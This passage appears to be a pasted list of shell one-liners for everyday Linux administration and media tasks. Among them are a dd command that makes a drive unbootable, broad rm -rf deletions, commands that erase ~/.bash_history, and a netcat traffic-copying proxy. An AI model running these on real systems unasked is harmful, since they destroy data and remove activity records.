  7479. # Build an exhaustive list of maildir folders for mutt
  7480. find ~/Maildir/ -mindepth 1 -type d | egrep -v '/cur$|/tmp$|/new$' | xargs
  7481.  
  7482. # Get ethX mac addresses
  7483. ip link | grep 'link/ether' | awk '{print $2}'
  7484.  
  7485. # Grab an interface's IP from ifconfig without screen clutter
  7486. ifconfig eth1 | grep inet\ addr | awk '{print $2}' | cut -d: -f2 | sed s/^/eth1:\ /g
  7487.  
  7488. # Display top 5 processes consuming CPU
  7489. ps -eo pcpu,user,pid,cmd | sort -r | head -5
  7490.  
  7491. # Open-iscsi target discovery
  7492. iscsiadm -m discovery -t sendtargets -p 192.168.20.51
  7493.  
  7494. # Creates Solaris alternate boot environment on another zpool.
  7495. lucreate -n be1 [-c be0] -p zpool1
  7496.  
  7497. # play audio stream and video stream in two different mplayer instances
  7498. mplayer test.mp3 < /dev/null & mplayer test.avi -nosound -speed 1.0884
  7499.  
  7500. # one-liner mpc track changer using dmenu
  7501. mpc play $(sed -n "s@^[ >]\([0-9]\+\)) $(mpc playlist|cut -d' ' -f3-|dmenu -i -p 'song name'||echo void)@\1@p" < <(mpc playlist))
  7502.  
  7503. # Backup a filesystem to a remote machine and use cstream to throttle bandwidth of the backup
  7504. nice -n19 dump -0af - /<filesystem> -z9|gpg -e -r <gpg key id>|cstream -v 1 -t 60k|ssh <user@host> "cat > backup.img"
  7505.  
  7506. # A function to find the newest file of a set.
  7507. newest () { candidate=''; for i in "$@"; do [[ -f $i ]] || continue; [[ -z $candidate || $i -nt $candidate ]] && candidate="$i"; done; echo "$candidate"; }
  7508.  
  7509. # Erase empty files
  7510. find . -type f -size 0 -delete
  7511.  
  7512. # Monitor a file's size
  7513. watch -n 60 du /var/log/messages
  7514.  
  7515. # Get ssh server fingerprints
  7516. ssh-keygen -l -f /etc/ssh/ssh_host_rsa_key.pub && ssh-keygen -l -f /etc/ssh/ssh_host_dsa_key.pub
  7517.  
  7518. # Remove CR LF from a text file
  7519. tr -d '\r\n' < input_file.txt > output_file.txt
  7520.  
  7521. # Prints per-line contribution per author for a GIT repository
  7522. git ls-files | xargs -n1 -d'\n' -i git-blame {} | perl -n -e '/\s\((.*?)\s[0-9]{4}/ && print "$1\n"' | sort -f | uniq -c -w3 | sort -r
  7523.  
  7524. # grep -v with multiple patterns.
  7525. grep test somefile | grep -v -e error -e critical -e warning
  7526.  
  7527. # password generator
  7528. genpass(){local i x y z h;h=${1:-8};x=({a..z} {A..Z} {0..9});for ((i=0;i<$h;i++));do y=${x[$((RANDOM%${#x[@]}))]};z=$z$y;done;echo $z ;}
  7529.  
  7530. # Check a server is up. If it isn't mail me.
  7531. curl -fs brandx.jp.sme 2&>1 > /dev/null || echo brandx.jp.sme ping failed | mail -ne -s'Server unavailable' joker@jp.co.uk
  7532.  
  7533. # On Screen micro display for battery and CPU temperature. nifty, small, omnipresent
  7534. acpi -t | osd_cat -p bottom
  7535.  
  7536. # set wallpaper on windowmaker in one line
  7537. wmsetbg -s -u path_to_wallpaper
  7538.  
  7539. # Convert a MOV captured from a digital camera to a smaller AVI
  7540. ffmpeg -i input.mov -b 4096k -vcodec msmpeg4v2 -acodec pcm_u8 output.avi
  7541.  
  7542. # To print a specific line from a file
  7543. awk 'FNR==5' <file>
  7544.  
  7545.  
  7546.  
  7547. # Quickly Encrypt a file with gnupg and email it with mailx
  7548. cat private-file | gpg2 --encrypt --armor --recipient "Disposable Key" | mailx -s "Email Subject" user@email.com
  7549.  
  7550. # List your largest installed packages (on Debian/Ubuntu)
  7551. sed -ne '/^Package: \(.*\)/{s//\1/;h;};/^Installed-Size: \(.*\)/{s//\1/;G;s/\n/ /;p;}' /var/lib/dpkg/status | sort -rn
  7552.  
  7553. # Battery real life energy vs predicted remaining plotted
  7554. echo start > battery.txt; watch -n 60 'date >> battery.txt ; acpi -b >> battery.txt'
  7555.  
  7556. # Testing hard disk writing speed
  7557. time dd if=/dev/zero of=TEST bs=4k count=512000
  7558.  
  7559. # Get decimal ascii code from character
  7560. echo -n a | od -d | sed -n "s/^.* //gp"
  7561.  
  7562. # get the ascii number with bash builtin printf
  7563. printf "%d\n" "'A" "'B"
  7564.  
  7565. # Function to output an ASCII character given its decimal equivalent
  7566. chr () { echo -en "\0$(printf %x $1)"}
  7567.  
  7568. # Function to output an ASCII character given its decimal equivalent
  7569. chr() { printf \\$(printf %o $1); }
  7570.  
  7571. # Less a grep result, going directly to the first match in the first file
  7572. argv=("$@"); rest=${argv[@]:1}; less -JMN +"/$1" `grep -l $1 $rest`
  7573.  
  7574. # Clear your history saved into .bash_history file!
  7575. history -c && rm -f ~/.bash_history
  7576.  
  7577. # Clear your history saved into .bash_history file!
  7578. history -c
  7579.  
  7580. # Set gnome wallpaper to a random jpg from the specified directory
  7581. gconftool -t str -s /desktop/gnome/background/picture_filename "`find /DIR_OF_JPGS -name '*.jpg' | shuf -n 1`"
  7582.  
  7583. # Execute a command before display the bash prompt
  7584. PROMPT_COMMAND=command
  7585.  
  7586. # GZip all files in a directory separately
  7587. gzip *
  7588.  
  7589. # GZip all files in a directory separately
  7590. ls | xargs -n1 gzip
  7591.  
  7592. # MoscowML with editable input-line and history
  7593. rlwrap mosml
  7594.  
  7595. # retrieve the source address used to contact a given host
  7596. python -c 'import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("<hostname>", <port>)); print s.getsockname()[0] ; s.close() ;' 2> /dev/null
  7597.  
  7598. # Get absolut path to your bash-script
  7599. PATH=$(cd ${0%/*}; pwd)
  7600.  
  7601. # Get full URL via http://untr.im/api/ajax/api
  7602. URL=[target.URL]; curl -q -d "url=$URL" http://untr.im/api/ajax/api | awk -F 'href="' '{print $3}' | awk -F '" rel="' '{print $1}'
  7603.  
  7604. # remove the last of all html files in a directory
  7605. for f in *.html; do sed '$d' -i "$f"; done
  7606.  
  7607. # Makefile argument passing
  7608. make [target] VAR=foobar
  7609.  
  7610. # List only the directories
  7611. tree -dL 1
  7612.  
  7613. # convert filenames in current directory to lowercase
  7614. find my_root_dir -depth -exec rename 's/(.*)\/([^\/]*)/$1\/\L$2/' {} \;
  7615.  
  7616. # Directory Tree
  7617. tree -d
  7618.  
  7619. # Directory Tree
  7620. find . -type d -print | sed -e 's;[^/]*/;..........;g'|awk '{print $0"-("NR-1")"}'
  7621.  
  7622.  
  7623.  
  7624. # VIM: when Ctrl-D and Ctrl-U only scroll one line, reset to default
  7625. :set scroll=0
  7626.  
  7627. # Schedule Nice Background Commands That Won't Die on Logout - Alternative to nohup and at
  7628. ( trap '' 1; ( nice -n 19 sleep 2h && command rm -v -rf /garbage/ &>/dev/null && trap 1 ) & )
  7629.  
  7630. # Outputs a 10-digit random number
  7631. head -c10 <(echo $RANDOM$RANDOM$RANDOM)
  7632.  
  7633. # Check if variable is a number
  7634. if [ "$testnum" -eq "$testnum" 2>/dev/null ]; then echo It is numeric; fi
  7635.  
  7636. # Outputs a 10-digit random number
  7637. tr -c -d 0-9 < /dev/urandom | head -c 10
  7638.  
  7639. # Convert unix timestamp to date
  7640. date -ud "1970-01-01 + 1234567890 seconds"
  7641.  
  7642. # Print a list of the 30 last modified mp3s sorted by last first
  7643. find ~/Music -daystart -mtime -60 -name *mp3 -printf "%T@\t%p\n" | sort -f -r | head -n 30 | cut -f 2
  7644.  
  7645. # Print text string vertically, one character per line.
  7646. echo "vertical text" | fold -1
  7647.  
  7648. # Generate SHA1 hash for each file in a list
  7649. find . -type f -exec sha1sum {} >> SHA1SUMS \;
  7650.  
  7651. # Benchmark report generator
  7652. hardinfo -am benchmark.so -f html > report.html
  7653.  
  7654. # Changing the terminal title to the last shell command
  7655. if [ "$SHELL" = '/bin/zsh' ]; then case $TERM in rxvt|*term|linux) preexec () { print -Pn "\e]0;$1\a" };; esac; fi
  7656.  
  7657. # Grep auth log and print ip of attackers
  7658. egrep 'Failed password for invalid' /var/log/secure | awk '{print $13}' | uniq
  7659.  
  7660. # Generate SHA1 hash for each file in a list
  7661. ls [FILENAME] | xargs openssl sha1
  7662.  
  7663. # Notify Gnome user of files modified today
  7664. OLDIFS=$IFS; IFS=$(echo -en "\n\b"); for f in `find -daystart -mtime 0 -type f -printf "%f\n"`; do notify-send -t 0 "$f downloaded" ; done; IFS=$OLDIFS
  7665.  
  7666. # Perform a reverse DNS lookup
  7667. dig -x 74.125.45.100
  7668.  
  7669. # Download a TiVo Show
  7670. curl -s -c /tmp/cookie -k -u tivo:$MAK --digest "$(curl -s -c /tmp/cookie -k -u tivo:$MAK --digest https://$tivo/nowplaying/index.html | sed 's;.*<a href="\([^"]*\)">Download MPEG-PS</a>.*;\1;' | sed 's|\&amp;|\&|')" | tivodecode -m $MAK -- - > tivo.mpg
  7671.  
  7672. # Create a single-use TCP proxy with copy to stdout
  7673. gate() { mkfifo /tmp/sock1 /tmp/sock2 &> /dev/null && nc -p $1 -l < /tmp/sock1 | tee /tmp/sock2 & PID=$! && nc $2 $3 < /tmp/sock2 | tee /tmp/sock1; kill -KILL $PID; rm -f /tmp/sock1 /tmp/sock2 ; }
  7674.  
  7675. # backup your playstation game using rip
  7676. $ cdrdao read-cd --read-raw --datafile FILE_NAME.bin --device /dev/cdrom --driver generic-mmc-raw FILE_NAME.toc
  7677.  
  7678. # Remove blank lines from a file using grep and save output to new file
  7679. grep -v "^$" filename > newfilename
  7680.  
  7681. # Determine configure options used for MySQL binary builds
  7682. grep CONFIG $(which mysqlbug)
  7683.  
  7684. # Search for a <pattern> string inside all files in the current directory
  7685. grep -r <pattern> * .[!.]*
  7686.  
  7687. # Search for a <pattern> string inside all files in the current directory
  7688. ack <pattern>
  7689.  
  7690. # Search for a <pattern> string inside all files in the current directory
  7691. find . -type f -print0 | xargs -0 grep -i <pattern>
  7692.  
  7693. # calulate established tcp connection of local machine
  7694. netstat -an | grep -Ec '^tcp.+ESTABLISHED$'
  7695.  
  7696. # Adding Color Escape Codes to global CC array for use by echo -e
  7697. declare -ax CC; for i in `seq 0 7`;do ii=$(($i+7)); CC[$i]="\033[1;3${i}m"; CC[$ii]="\033[0;3${i}m"; done
  7698.  
  7699.  
  7700.  
  7701. # gpg decrypt several files
  7702. gpg --allow-multiple-messages --decrypt-files *
  7703.  
  7704. # Change the console keyboard layout
  7705. loadkeys uk
  7706.  
  7707. # shorten url using curl, sed and is.gd
  7708. curl -s -d URL="$1" http://is.gd/create.php | sed '/Your new shortened/!d;s/.*value="\([^"]*\)".*/\1/'
  7709.  
  7710. # Instant mirror from your laptop + webcam (fullscreen+grab)
  7711. mplayer -fs -vf screenshot,mirror tv://
  7712.  
  7713. # Record MP3 audio via ALSA using ffmpeg
  7714. ffmpeg -f alsa -ac 2 -i hw:1,0 -acodec libmp3lame -ab 96k output.mp3
  7715.  
  7716. # find your release version of your ubuntu / debian distro
  7717. lsb_release -a
  7718.  
  7719. # Delete all but the latest 5 files, ignoring directories
  7720. ls -lt|grep ^-|awk 'NR>5 { print $8 }'|xargs -r rm
  7721.  
  7722. # Delete all but the latest 5 files
  7723. ls -t | tail +6 | xargs rm
  7724.  
  7725. # convert a,b,c to ('a','b','c') for use in SQL in-clauses
  7726. echo a,b,c | sed -e s/,/\',\'/g -e s/^/\(\'/ -e s/$/\'\)/
  7727.  
  7728. # Remove all files but one starting with a letter(s)
  7729. rm -rf [a-bd-zA-Z0-9]* c[b-zA-Z0-9]*
  7730.  
  7731. # Substitute audio track of video file using mencoder
  7732. mencoder -ovc copy -audiofile input.mp3 -oac copy input.avi -o output.avi
  7733.  
  7734. # Remove sound from video file using mencoder
  7735. mencoder -ovc copy -nosound input.avi -o output.avi
  7736.  
  7737. # Incase you miss the famous 'C:\>' prompt
  7738. export PS1='C:${PWD//\//\\\}>'
  7739.  
  7740. # erase content from a cdrw
  7741. cdrecord -v -blank=all -force
  7742.  
  7743. # Check variable has been set
  7744. [ -z "$VAR" ] && echo "VAR has not been set" && exit 1
  7745.  
  7746. # find only current directory (universal)
  7747. find . \( ! -name . -prune \) \( -type f -o -type l \)
  7748.  
  7749. # FLV to AVI with subtitles and forcing audio sync using mencoder
  7750. mencoder -sub subs.ssa -utf8 -subfont-text-scale 4 -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -o output.avi input.flv
  7751.  
  7752. # Create multiple mp4 files using avidemux
  7753. for i in *;do avidemux --video-codec Xvid4 --audio-codec mp3 --load "${i}" --save "`echo "$i" | sed -e 's/\....$//'`.done.mp4" --quit; done
  7754.  
  7755. # Ultimate current directory usage command
  7756. find . -maxdepth 1 ! -name '.' -execdir du -0 -s {} + | sort -znr | gawk 'BEGIN{ORS=RS="\0";} {sub($1 "\t", ""); print $0;}' | xargs -0 du -hs
  7757.  
  7758. # Output files without comments or empty lines
  7759. function catv { egrep -v "^$|^#" ${*} ; }
  7760.  
  7761. # List hostnames of all IPs
  7762. for IP in $(/sbin/ifconfig | fgrep addr: | sed 's/.*addr:\([[0-9.]*\) .*/\1/') ; do host $IP | awk '{print $5}'; done
  7763.  
  7764. # A DESTRUCTIVE command to render a drive unbootable
  7765. dd if=/dev/zero of=/dev/fd0 bs=512 count=1
  7766.  
  7767. # Ripping VCD in Linux
  7768. cdrdao read-cd --device ATA:1,1,0 --driver generic-mmc-raw --read-raw image.toc
  7769.  
  7770. # create tar archive of files in a directory and its sub-directories
  7771. tar czf /path/archive_of_foo.`date -I`.tgz /path/foo
  7772.  
  7773. # Creat a tar file for backup info
  7774. tar --create --file /path/$HOSTNAME-my_name_file-$(date -I).tar.gz --atime-preserve -p -P --same-owner -z /path/
Add Comment
Please, Sign In to add comment